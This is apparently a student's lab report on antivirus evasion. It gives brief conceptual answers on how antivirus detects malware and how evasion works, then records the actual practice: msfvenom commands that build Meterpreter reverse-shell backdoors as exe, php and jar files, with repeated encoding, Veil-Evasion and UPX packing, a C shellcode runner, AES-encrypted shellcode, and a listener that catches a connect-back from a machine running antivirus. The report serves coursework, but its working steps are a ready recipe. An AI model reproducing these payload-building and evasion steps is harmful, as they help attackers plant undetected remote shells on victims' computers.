Exp3-免杀原理
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 答:
- a.检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。- b.启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。- c.基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
- 答:
- 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
(3)免杀的基本方法有哪些?
- 答:
- a.改变特征码:在不影响程序功能的情况下,依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码(直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法)
- b.加花:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,但是一些厉害的杀软还可以看破这些。
- c.加壳:就是给含有恶意代码的程序加一个外包装,使其无法进行逆向比对病毒库中的特征码。但运行时需要载入内存,在载入内存之时,需要先自我脱壳才能运行,因此也能被查杀。
- d.改程序入口点
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 答:
- 不能。即使是最好的杀软,最多也只能检测出98%的恶意软件。
二、实验总结与体会
通过本次实验,我们体会到了一些实现免杀的方法,也在本次实验中得到了实践,实践成果还行,但是有这么一个问题出现了:我们只学了这么一点方法就能实现免杀,虽然是一段很简单的代码,那些技术高超的黑客们想要入侵我们的计算机那不是易如反掌吗?所以我认为在如今这种高速发展的时代,安全难题将会变得越来越难以解决,在网络安全领域,没有最安全,只有更安全,这永远是一场保护与反保护的博弈战我们更应当注重这些方面的安全问题。
三、实践过程记录
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
a.得到kali的ip地址
b.检验直接生成的后面exe文件(上次实验生成的后门文件)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 PORT=1224 -f exe > 20201224backdoor.exe
免杀测试平台测试网址:https://www.virustotal.com
检测结果如下:
c.使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.142.135 LPORT=1224 -f exe > 20201224backdoor.exe
对进行编码过一次的后面文件测试免杀:
将其编码多次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -12 -b ‘\x00’ LHOST=192.168.142.135 LPORT=1224 -f exe > 20201224_backdoor2.exe(“-12”此处编码12次)
对其进行免杀测试:
d.利用php格式文件检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=1224 x> 20201224_backdoor_php.php
![]
(https://img2023.cnblogs.com/blog/2166392/202303/2166392-20230328202947658-1425705195.png)
对其进行免杀测试:
e.利用jar文件检测
msfvenom -p java/shell_reverse_tcp LHOST=192.168.142.135 LPORT=1224 -f jar > 20201224_backdoor_jar.jar
对其进行免杀测试:
2.veil,加壳工具
a.安装veil-evasion
sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为
Sudo git clone https://gitee.com/spears/VeilDependencies.git
打开veil并安装相关文件:
注!:此过程花费时间较多,请勿退出
安装成功后打开veil:
b.利用加壳工具产生后门软件
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.142.135
set LPORT 1224
generate
生成的文件的路径为/var/lib/veil/output/compiled/20201203veil.exe
对其进行免杀测试:
c.免杀加壳尝试:
upx 20201224veil.exe -o 20201224_veil_upx.exe
对其进行免杀测试:
3.使用C+shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=1224 -f c
将框里的内容复制粘贴入新建的20201224_c.c文件中:
再将以下代码放在最后:
int main()
{
int (*func)() =(int(*)())buf;
func();
}
将其编译为可执行文件
i686-w64-mingw32-g++ 20201224_c.c -o 20201224_c.exe
并对其进行免杀测试:
4.通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
veil
use evasion
list
use python/shellcode_inject/aes_encrypt.py
generate
2
回车
192.168.142.135
1224
回车
并对其进行免杀测试
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
使用的是联想电脑管家,电脑版本是Windows11
首先生成raw文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=本机ip lport=1224 -f raw -o 20201224.raw
下载shellcode_launcher网址:https://github.com/clinicallyinane/shellcode_launcher
在另一台主机输入:
shellcode_launcher.exe -i 20201224.raw
注!(此时电脑管家检测到文件异常,让我选择是否信任,在此我先选择信任继续实验)
在自己电脑上输入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.142.135 //此处为kali端ip地址
exploit
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】